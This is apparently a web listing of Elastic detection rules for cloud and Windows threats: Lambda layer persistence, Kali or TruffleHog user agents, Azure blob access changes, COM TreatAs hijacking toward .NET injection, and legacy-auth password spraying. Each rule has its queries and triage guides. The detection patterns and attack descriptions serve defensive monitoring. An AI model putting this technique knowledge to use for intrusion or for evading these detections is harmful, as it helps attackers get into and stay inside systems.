Detection rules › Elastic
Elastic rules: 0z
AWS Lambda Layer Added to Existing Function
#Identifies when a Lambda layer is added to an existing AWS Lambda function. Lambda layers allow shared code, dependencies, or runtime modifications to be injected into a function’s execution environment. Adversaries with the ability to update function configurations may add a malicious layer to establish persistence, run unauthorized code, or intercept data handled by the function. This activity should be reviewed to ensure the modification is expected and authorized.
Known False Positives
- Lambda function owners or deployment pipelines may legitimately add or update layers as part of normal development and maintenance workflows. Confirm that the layer addition aligns with approved changes, expected CI/CD behavior, or routine dependency updates. Known automation roles or build systems can be excluded if they consistently perform authorized modifications.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Defense Impairment |
Telemetry Coverage
Rules Detecting the Same Action
These rules filter on the same operation.
- AWS Discovery API Calls via CLI from a Single Resource (Elastic)
- AWS Lambda Event Source Mapping Creation (Elastic)
- AWS Lambda Function Created or Updated (Elastic)
- AWS Lambda Function High-Frequency Invocation by a Single Principal (Elastic)
- AWS Lambda Function Invoked by an Unusual Principal (Elastic)
- AWS Lambda Function Invoked Cross-Account (Elastic)
- AWS Lambda Function Invoked from an Unusual Source ASN (Elastic)
- AWS Lambda Function Policy Updated to Allow Cross-Account Invocation (Elastic)
Rule Body
[metadata]
creation_date = "2024/04/30"
integration = ["aws"]
maturity = "production"
updated_date = "2026/08/05"
[rule]
author = ["Elastic"]
description = """
Identifies when a Lambda layer is added to an existing AWS Lambda function. Lambda layers allow shared code,
dependencies, or runtime modifications to be injected into a function’s execution environment. Adversaries with the
ability to update function configurations may add a malicious layer to establish persistence, run unauthorized code, or
intercept data handled by the function. This activity should be reviewed to ensure the modification is expected and
authorized.
"""
false_positives = [
"""
Lambda function owners or deployment pipelines may legitimately add or update layers as part of normal development
and maintenance workflows. Confirm that the layer addition aligns with approved changes, expected CI/CD behavior, or
routine dependency updates. Known automation roles or build systems can be excluded if they consistently perform
authorized modifications.
""",
]
from = "now-6m"
index = ["filebeat-*", "logs-aws.cloudtrail-*"]
language = "kuery"
license = "Elastic License v2"
name = "AWS Lambda Layer Added to Existing Function"
note = """## Triage and analysis
### Investigating AWS Lambda Layer Added to Existing Function
Lambda layers introduce external code artifacts into a function’s runtime. Adding a layer to an existing Lambda function
modifies its execution environment and may allow an adversary to run arbitrary code, intercept data, or maintain
persistence without altering the function source itself. This detection highlights successful configuration updates using
`PublishLayerVersion*` or `UpdateFunctionConfiguration*`.
### Possible investigation steps
**Identify the actor**
- Review `aws.cloudtrail.user_identity.arn` and the `access_key_id`. Determine whether the actor normally administers Lambda or has recently exhibited unusual behavior.
**Review what was modified**
- Inspect `aws.cloudtrail.request_parameters` to identify which layer ARN was added, the function name and region, whether multiple layers were applied at once or in rapid succession.
- Compare the added layer version against known and approved layer catalogs.
**Validate the operational context**
- Check the time of the update (`@timestamp`) to see if it aligns with known release pipelines or deployment windows and Normal working hours for the responsible team.
- Determine whether a CI/CD pipeline or IaC tool was expected to update this function.
**Assess where the change came from**
- Review `source.ip` and `user_agent.original` for signs of console access from unusual locations, access via previously unused automation tools, suspicious programmatic access consistent with compromised keys.
**Correlate with additional activity**
- Look for preceding or subsequent events such as:
- Creation of new Lambda layers (`PublishLayerVersion`).
- IAM role modifications affecting the Lambda function.
- Increased invocation volume or unusual invocation patterns after the layer addition.
- Search for other functions modified by the same actor or from the same IP.
### False positive analysis
- Confirm whether the change aligns with a planned deployment, application update, or dependency upgrade.
- Determine whether the user or automation role commonly modifies Lambda function configurations.
- Validate the legitimacy of the added layer by checking internal documentation or release notes.
### Response and remediation
- Remove or roll back the added layer if the modification appears unauthorized or suspicious.
- Review the layer contents, especially for newly published layers, to verify integrity and legitimacy.
- Investigate the IAM role or user responsible for the change and rotate compromised credentials if necessary.
- Tighten permissions by ensuring only approved roles can modify Lambda configurations or publish new layers.
- Implement monitoring for subsequent Lambda configuration changes, invocation anomalies caused by the injected layer, additional persistence techniques targeting serverless infrastructure.
### Additional information
- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)**
- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)**
- **[AWS Knowledge Center – Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/)**
"""
references = [
"https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence",
"https://docs.aws.amazon.com/lambda/latest/api/API_PublishLayerVersion.html",
"https://docs.aws.amazon.com/lambda/latest/api/API_UpdateFunctionConfiguration.html",
]
risk_score = 21
rule_id = "7d091a76-0737-11ef-8469-f661ea17fbcc"
severity = "low"
tags = [
"Domain: Cloud",
"Platform: AWS",
"Data Source: AWS CloudTrail",
"Service: AWS Lambda",
"Tactic: Execution",
"Rule Type: Custom Query (KQL)",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
data_stream.dataset: aws.cloudtrail
and event.provider: lambda.amazonaws.com
and event.outcome: success
and event.action: (PublishLayerVersion* or UpdateFunctionConfiguration*)
and not user_agent.original: (*Terraform* or *Pulumi*)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1648"
name = "Serverless Execution"
reference = "https://attack.mitre.org/techniques/T1648/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1578"
name = "Modify Cloud Compute Infrastructure"
reference = "https://attack.mitre.org/techniques/T1578/"
[[rule.threat.technique.subtechnique]]
id = "T1578.005"
name = "Modify Cloud Compute Configurations"
reference = "https://attack.mitre.org/techniques/T1578/005/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[rule.investigation_fields]
field_names = [
"@timestamp",
"user.name",
"user_agent.original",
"source.ip",
"aws.cloudtrail.user_identity.arn",
"aws.cloudtrail.user_identity.type",
"aws.cloudtrail.user_identity.access_key_id",
"event.action",
"event.outcome",
"cloud.account.id",
"cloud.region",
"aws.cloudtrail.request_parameters",
"aws.cloudtrail.response_elements",
]
Stages and Predicates
Stage 1: query
data_stream.dataset: aws.cloudtrail
and event.provider: lambda.amazonaws.com
and event.outcome: success
and event.action: (PublishLayerVersion* or UpdateFunctionConfiguration*)
and not user_agent.original: (*Terraform* or *Pulumi*)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"aws.cloudtrail" |
event.action | wildcard |
| field:"EventType" kind:wildcard |
event.outcome | eq |
| field:"event.outcome" kind:eq value:"success" |
event.provider | eq |
| field:"Provider_Name" kind:eq value:"lambda.amazonaws.com" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
user_agent.original | match | Pulumi | excludes:user_agent.original field:"user_agent.original" value:"Pulumi" |
user_agent.original | match | Terraform | excludes:user_agent.original field:"user_agent.original" value:"Terraform" |
AWS Suspicious User Agent Fingerprint
#Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (distrib#kali), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope.
Known False Positives
- Authorized penetration tests, red team exercises, or research activity may originate from Kali Linux. Internal secret scanning pipelines may run TruffleHog with permission to reach AWS for verification. Validate the IAM principal, source network, change records, and whether the activity matches documented security or DevSecOps workflows.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Stealth |
Rule Body
[metadata]
creation_date = "2025/04/11"
integration = ["aws"]
maturity = "production"
updated_date = "2026/08/05"
[rule]
author = ["Elastic"]
description = """
Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential
verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and
clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These
patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or
security tooling operating outside approved scope.
"""
false_positives = [
"""
Authorized penetration tests, red team exercises, or research activity may originate from Kali Linux. Internal
secret scanning pipelines may run TruffleHog with permission to reach AWS for verification. Validate the IAM
principal, source network, change records, and whether the activity matches documented security or DevSecOps
workflows.
""",
]
from = "now-6m"
index = ["logs-aws.cloudtrail-*"]
language = "eql"
license = "Elastic License v2"
name = "AWS Suspicious User Agent Fingerprint"
note = """## Triage and Analysis
### Investigating AWS Suspicious User Agent Fingerprint
AWS CloudTrail records the user agent string for API requests, which can reveal the OS distribution and client tooling.
Two high-signal patterns this rule covers are:
- **Kali Linux fingerprint** — When the AWS CLI or Boto3 reports `distrib#kali`, the request likely came from a Kali
environment. Kali is widely used for penetration testing and adversarial tradecraft, so this is worth correlating with
identity, network context, and sensitivity of API actions.
- **TruffleHog** — TruffleHog identifies itself in the user agent when verifying whether recovered credentials are still
valid. Observing it against your account may indicate leaked keys are being tested, including through supply-chain or
secret-scanning abuse by a third party.
This detection focuses on **successful** API activity. Evaluate who performed the action, what was accessed or modified,
and whether the source and tooling align with expectations.
### Possible investigation steps
**Identify the actor**
- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which IAM
principal was used.
- Check whether this principal normally uses CLI/SDK clients and whether Kali or TruffleHog is ever expected for their role.
**Review access patterns and actions**
- Examine API calls associated with the matched user agent for high-risk activity such as IAM changes, data access,
snapshot sharing, logging modification, or persistence-related actions.
- Look for sequences indicating initial access or expansion, such as `GetSessionToken`, `AssumeRole`, or privilege
escalation attempts.
- Determine whether the activity scope aligns with the principal’s intended permissions and business function.
**Inspect source network and tooling context**
- Review `source.ip`, `source.geo` fields, and ASN to determine whether the request originated from an expected corporate
network, VPN, CI/CD egress, or known security testing infrastructure.
- Analyze `user_agent.original` to confirm which pattern matched (`distrib#kali` vs `TruffleHog`) and whether usage looks
interactive, scripted, or scanner-driven.
- Sudden shifts from console-based access to CLI from an offensive distribution, or first-time TruffleHog against the
account, may indicate credential compromise or unauthorized scanning.
**Correlate with surrounding activity**
- Search for additional CloudTrail events tied to the same access key or session before and after this detection.
- Look for evidence of follow-on actions such as resource creation, configuration changes, or attempts to disable logging
and monitoring services.
- Assess whether the activity represents a single isolated request or part of a broader behavioral chain.
### False positive analysis
- Internal red team or authorized assessments may produce Kali-based AWS CLI or SDK traffic. Confirm scope, timing, and
authorization.
- Organizational use of TruffleHog in CI to validate rotated keys or scan artifacts may generate this signal; restrict
exceptions to known roles, repositories, and egress IPs where possible.
### Response and remediation
- If the activity is unauthorized, immediately revoke or rotate the affected access keys or invalidate the active
session.
- Review IAM permissions associated with the identity and reduce scope where possible to enforce least privilege.
- Investigate for additional indicators of compromise, including unusual role assumptions, new credential creation, or
data access from the same identity.
- Notify security operations and incident response teams if the activity aligns with known adversary behaviors or appears
part of a larger intrusion.
- Consider adding guardrails or conditional access controls (such as source IP restrictions or MFA enforcement) for
sensitive IAM principals.
### Additional information
- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)**
- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)**
- **[AWS Knowledge Center – Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/)**
"""
references = [
"https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html",
"https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/",
"https://trufflesecurity.com/blog/trufflehog-in-your-logs",
"https://kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise",
]
risk_score = 73
rule_id = "f80ea920-f6f5-4c8a-9761-84ac97ec0cb2"
severity = "high"
tags = [
"Domain: Cloud",
"Platform: AWS",
"Data Source: AWS CloudTrail",
"Tactic: Initial Access",
"Rule Type: Event Correlation (EQL)",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
any where data_stream.dataset == "aws.cloudtrail"
and event.outcome == "success"
and (
(
stringContains(user_agent.original, "distrib#kali")
or stringContains(user_agent.original, "+kali")
or stringContains(user_agent.original, "kali-amd64")
or stringContains(user_agent.original, "kali-arm64")
) or (
stringContains(user_agent.original, "TruffleHog")
or stringContains(user_agent.original, "trufflehog")
)
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"
[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[rule.investigation_fields]
field_names = [
"@timestamp",
"user.name",
"user_agent.original",
"source.ip",
"aws.cloudtrail.user_identity.arn",
"aws.cloudtrail.user_identity.type",
"aws.cloudtrail.user_identity.access_key_id",
"aws.cloudtrail.resources.arn",
"aws.cloudtrail.resources.type",
"event.action",
"event.outcome",
"cloud.account.id",
"cloud.region",
"aws.cloudtrail.request_parameters",
"aws.cloudtrail.response_elements"
]
Stages and Predicates
Stage 1: any
any where data_stream.dataset == "aws.cloudtrail"
and event.outcome == "success"
and (
(
stringContains(user_agent.original, "distrib#kali")
or stringContains(user_agent.original, "+kali")
or stringContains(user_agent.original, "kali-amd64")
or stringContains(user_agent.original, "kali-arm64")
) or (
stringContains(user_agent.original, "TruffleHog")
or stringContains(user_agent.original, "trufflehog")
)
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"aws.cloudtrail" |
event.outcome | eq |
| field:"event.outcome" kind:eq value:"success" |
user_agent.original | contains |
| field:"aws::userAgent" kind:contains |
Azure Blob Storage Container Access Level Modified
#Identifies changes to container access levels in Azure. Anonymous public read access to containers and blobs in Azure is a way to share data broadly, but can present a security risk if access to sensitive data is not managed judiciously.
Known False Positives
- Access level modifications may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Access level modifications from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment | |
| Discovery | |
| Exfiltration |
Telemetry Coverage
Rule Body
[metadata]
creation_date = "2020/08/20"
integration = ["azure"]
maturity = "production"
updated_date = "2026/04/10"
[rule]
author = ["Elastic"]
description = """
Identifies changes to container access levels in Azure. Anonymous public read access to containers and blobs in Azure is
a way to share data broadly, but can present a security risk if access to sensitive data is not managed judiciously.
"""
false_positives = [
"""
Access level modifications may be done by a system or network administrator. Verify whether the username, hostname,
and/or resource name should be making changes in your environment. Access level modifications from unfamiliar users
or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.
""",
]
from = "now-9m"
index = ["logs-azure.activitylogs-*", "filebeat-*"]
language = "kuery"
license = "Elastic License v2"
name = "Azure Blob Storage Container Access Level Modified"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Azure Blob Storage Container Access Level Modified
Azure Blob Storage is a service for storing large amounts of unstructured data, where access levels can be configured to control data visibility. Adversaries may exploit misconfigured access levels to gain unauthorized access to sensitive data. The detection rule monitors changes in container access settings, focusing on successful modifications, to identify potential security risks associated with unauthorized access level changes.
### Possible investigation steps
- Review the Azure activity logs to identify the specific storage account and container where the access level modification occurred, using the operation name "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE".
- Verify the identity of the user or service principal that performed the modification by examining the associated user information in the activity logs.
- Check the timestamp of the modification to determine if it aligns with any known maintenance windows or authorized changes.
- Investigate the previous access level settings of the container to assess the potential impact of the change, especially if it involved enabling anonymous public read access.
- Correlate the event with any other recent suspicious activities or alerts in the Azure environment to identify potential patterns or coordinated actions.
- Contact the owner of the storage account or relevant stakeholders to confirm whether the change was authorized and aligns with organizational policies.
### False positive analysis
- Routine administrative changes to container access levels by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles that regularly perform these tasks.
- Automated scripts or tools used for managing storage configurations may cause false positives. Identify and exclude these scripts or tools from monitoring if they are verified as non-threatening.
- Scheduled updates or maintenance activities that involve access level modifications can be mistaken for unauthorized changes. Document and schedule these activities to align with monitoring rules, allowing for temporary exclusions during these periods.
- Changes made by trusted third-party services integrated with Azure Blob Storage might be flagged. Verify these services and exclude their operations from triggering alerts if they are deemed secure and necessary for business operations.
### Response and remediation
- Immediately revoke public read access to the affected Azure Blob container to prevent unauthorized data exposure.
- Review the access logs to identify any unauthorized access or data exfiltration attempts during the period when the access level was modified.
- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized access level change and any potential data exposure.
- Conduct a thorough audit of all Azure Blob containers to ensure that access levels are configured according to the organization's security policies and that no other containers are misconfigured.
- Implement additional monitoring and alerting for changes to access levels on Azure Blob containers to ensure rapid detection of any future unauthorized modifications.
- If sensitive data was exposed, initiate a data breach response plan, including notifying affected parties and regulatory bodies as required by law.
- Review and update access management policies and procedures to prevent recurrence, ensuring that only authorized personnel can modify container access levels.
## Setup
The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule."""
references = ["https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-prevent"]
risk_score = 21
rule_id = "2636aa6c-88b5-4337-9c31-8d0192a8ef45"
severity = "low"
tags = ["Domain: Cloud", "Data Source: Azure", "Use Case: Asset Visibility", "Tactic: Discovery", "Resources: Investigation Guide"]
timestamp_override = "event.ingested"
type = "query"
query = '''
data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE" and event.outcome:(Success or success)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1619"
name = "Cloud Storage Object Discovery"
reference = "https://attack.mitre.org/techniques/T1619/"
[rule.threat.tactic]
id = "TA0007"
name = "Discovery"
reference = "https://attack.mitre.org/tactics/TA0007/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1222"
name = "File and Directory Permissions Modification"
reference = "https://attack.mitre.org/techniques/T1222/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1537"
name = "Transfer Data to Cloud Account"
reference = "https://attack.mitre.org/techniques/T1537/"
[rule.threat.tactic]
id = "TA0010"
name = "Exfiltration"
reference = "https://attack.mitre.org/tactics/TA0010/"
Stages and Predicates
Stage 1: query
data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE" and event.outcome:(Success or success)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
azure.activitylogs.operation_name | eq |
| field:"azure.activitylogs.operation_name" kind:eq value:"MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE" |
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"azure.activitylogs" |
event.outcome | in |
| field:"event.outcome" kind:in |
COM to .NET Redirection via Registry
#Identifies a registry modification that tricks the system into treating a legacy COM class as a .NET System.Object, effectively bridging the native and managed worlds as a preparation for .NET code injection.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Rule Body
[rule]
description = """
Identifies a registry modification that tricks the system into treating a legacy COM class as a .NET System.Object,
effectively bridging the native and managed worlds as a preparation for .NET code injection.
"""
id = "bc5df38d-b529-40c8-8f4e-6092b0efe384"
license = "Elastic License v2"
name = "COM to .NET Redirection via Registry"
os_list = ["windows"]
reference = [
"https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes",
"https://github.com/T3nb3w/ComDotNetExploit",
]
version = "1.0.3"
query = '''
registry where event.type == "change" and
registry.path : "HKLM\\SOFTWARE\\Classes\\CLSID\\{*}\\TreatAs\\" and registry.data.strings : "{81C5FE01-027C-3E1C-98D5-DA9C9862AA21}"
'''
min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1546"
name = "Event Triggered Execution"
reference = "https://attack.mitre.org/techniques/T1546/"
[[threat.technique.subtechnique]]
id = "T1546.015"
name = "Component Object Model Hijacking"
reference = "https://attack.mitre.org/techniques/T1546/015/"
[threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1112"
name = "Modify Registry"
reference = "https://attack.mitre.org/techniques/T1112/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "7.15.0"
Stages and Predicates
Stage 1: registry
registry where event.type == "change" and
registry.path : "HKLM\\SOFTWARE\\Classes\\CLSID\\{*}\\TreatAs\\" and registry.data.strings : "{81C5FE01-027C-3E1C-98D5-DA9C9862AA21}"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.type | eq |
| field:"event.type" kind:eq value:"change" |
registry.data.strings | wildcard |
| field:"Details" kind:wildcard value:"{81C5FE01-027C-3E1C-98D5-DA9C9862AA21}" |
registry.path | wildcard |
| field:"TargetObject" kind:wildcard value:"HKLM\SOFTWARE\Classes\CLSID\{*}\TreatAs\" |
Entra ID User Sign-In via Unusual Legacy Authentication Client
#Detects a successful sign-in by a Member user principal through a legacy authentication client (such as Authenticated SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, or other basic-authentication clients) in Microsoft Entra ID, where the user principal has not been seen using a legacy client in the last 7 days. Legacy authentication clients rely on basic authentication, do not support modern authentication or interactive multi-factor authentication, and are frequently abused by adversaries for password spraying and account takeover because they translate into single-factor Resource Owner Password Credentials (ROPC) grants. This is a New Terms rule that surfaces the first occurrence of legacy client authentication for a given user, which is unusual in most modern environments.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Stealth |
Telemetry Coverage
Rule Body
[metadata]
creation_date = "2026/07/02"
integration = ["azure"]
maturity = "production"
updated_date = "2026/07/02"
[rule]
author = ["Elastic"]
description = """
Detects a successful sign-in by a Member user principal through a legacy authentication client (such as Authenticated
SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, or other basic-authentication clients) in Microsoft Entra
ID, where the user principal has not been seen using a legacy client in the last 7 days. Legacy authentication clients
rely on basic authentication, do not support modern authentication or interactive multi-factor authentication, and are
frequently abused by adversaries for password spraying and account takeover because they translate into single-factor
Resource Owner Password Credentials (ROPC) grants. This is a New Terms rule that surfaces the first occurrence of legacy
client authentication for a given user, which is unusual in most modern environments.
"""
from = "now-9m"
index = ["logs-azure.signinlogs-*"]
language = "kuery"
license = "Elastic License v2"
name = "Entra ID User Sign-In via Unusual Legacy Authentication Client"
note = """## Triage and analysis
### Investigating Entra ID User Sign-In via Unusual Legacy Authentication Client
Legacy authentication clients use basic authentication and do not support modern authentication or interactive multi-factor authentication. Microsoft Entra ID classifies these clients under `client_app_used` values such as Authenticated SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, MAPI Over HTTP, Outlook Anywhere, and Other clients (as opposed to the modern values Browser and Mobile Apps and Desktop clients). Adversaries prefer these clients because they translate into single-factor ROPC grants that bypass interactive MFA, making them effective for password spraying and account takeover.
This rule is a New Terms detection that fires when a Member user principal is first seen authenticating with a legacy client in the last 7 days. In environments that have largely moved to modern authentication, a new legacy-client sign-in for a user is unusual and warrants review. It is a broader companion to the targeted ROPC detections and catches legacy protocols beyond Authenticated SMTP.
### Possible investigation steps
- Review `azure.signinlogs.properties.client_app_used` to identify which legacy protocol was used and whether the user is expected to use it.
- Review `azure.signinlogs.properties.user_principal_name` to determine whether the account is a human user, a service account, or a shared mailbox, and whether legacy authentication is part of its normal behavior.
- Review `azure.signinlogs.properties.client_ip` / `source.ip`, geolocation, and ASN to determine whether the source is expected. Correlate with known-malicious infrastructure.
- Inspect `user_agent.original`. Values such as `BAV2ROPC`, `python-requests`, `curl`, or other scripting-tool agents are highly suspicious.
- Check `azure.signinlogs.properties.applied_conditional_access_policies` to determine whether legacy-authentication blocking was expected to apply and why it did not.
- Look for a preceding burst of failed authentications (password spraying) from the same source or against the same account, and for post-authentication actions such as mailbox rule creation, mail forwarding, or OAuth consent.
### False positive analysis
- Legitimate legacy applications, service accounts, multifunction printers, scan-to-email appliances, and monitoring tools may still use legacy authentication clients such as Authenticated SMTP. These are typically stable in source IP and account and can be excluded once verified.
- Migrations, onboarding of older mail clients, or line-of-business applications that have not yet moved to modern authentication can generate first-occurrence sign-ins. Validate the business context and exclude confirmed benign accounts.
### Response and remediation
- If the sign-in is confirmed malicious, disable the account, revoke active sessions and refresh tokens, and reset the password.
- Disable the specific legacy protocol for the affected mailbox (for example `Set-CASMailbox -SmtpClientAuthenticationDisabled $true`) and, where feasible, block legacy authentication tenant-wide with Conditional Access.
- Enforce MFA for the affected user and investigate the source IP and any preceding failed-authentication activity to scope a potential password-spray campaign.
- Review the account's activity after the sign-in (mailbox rules, forwarding, delegate changes, OAuth grants) and remediate any unauthorized changes.
"""
references = [
"https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy-authentication",
"https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc",
"https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign",
"https://redcanary.com/blog/threat-detection/bav2ropc/",
]
risk_score = 47
rule_id = "0b7dbb27-29f8-4219-bcf1-7b82c6dd0bdc"
severity = "medium"
tags = [
"Domain: Cloud",
"Domain: Identity",
"Data Source: Azure",
"Data Source: Microsoft Entra ID",
"Data Source: Microsoft Entra ID Sign-In Logs",
"Use Case: Identity and Access Audit",
"Tactic: Initial Access",
"Tactic: Defense Evasion",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"
query = '''
data_stream.dataset: "azure.signinlogs" and
event.action: "Sign-in activity" and
event.outcome: "success" and
azure.signinlogs.properties.user_type: "Member" and
azure.signinlogs.properties.client_app_used: (
"Authenticated SMTP" or
"Autodiscover" or
"Exchange ActiveSync" or
"Exchange Online PowerShell" or
"Exchange Web Services" or
"IMAP4" or
"MAPI Over HTTP" or
"Offline Address Book" or
"Outlook Anywhere" or
"Outlook Service" or
"POP3" or
"Reporting Web Services" or
"Other clients"
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"
[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[rule.new_terms]
field = "new_terms_fields"
value = ["azure.signinlogs.properties.user_principal_name"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-7d"
Stages and Predicates
Stage 1: new_terms
data_stream.dataset: "azure.signinlogs" and
event.action: "Sign-in activity" and
event.outcome: "success" and
azure.signinlogs.properties.user_type: "Member" and
azure.signinlogs.properties.client_app_used: (
"Authenticated SMTP" or
"Autodiscover" or
"Exchange ActiveSync" or
"Exchange Online PowerShell" or
"Exchange Web Services" or
"IMAP4" or
"MAPI Over HTTP" or
"Offline Address Book" or
"Outlook Anywhere" or
"Outlook Service" or
"POP3" or
"Reporting Web Services" or
"Other clients"
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
azure.signinlogs.properties.client_app_used | in |
| field:"azure.signinlogs.properties.client_app_used" kind:in |
azure.signinlogs.properties.user_type | eq |
| field:"azure_ad::user_type" kind:eq value:"Member" |
data_stream.dataset | eq |
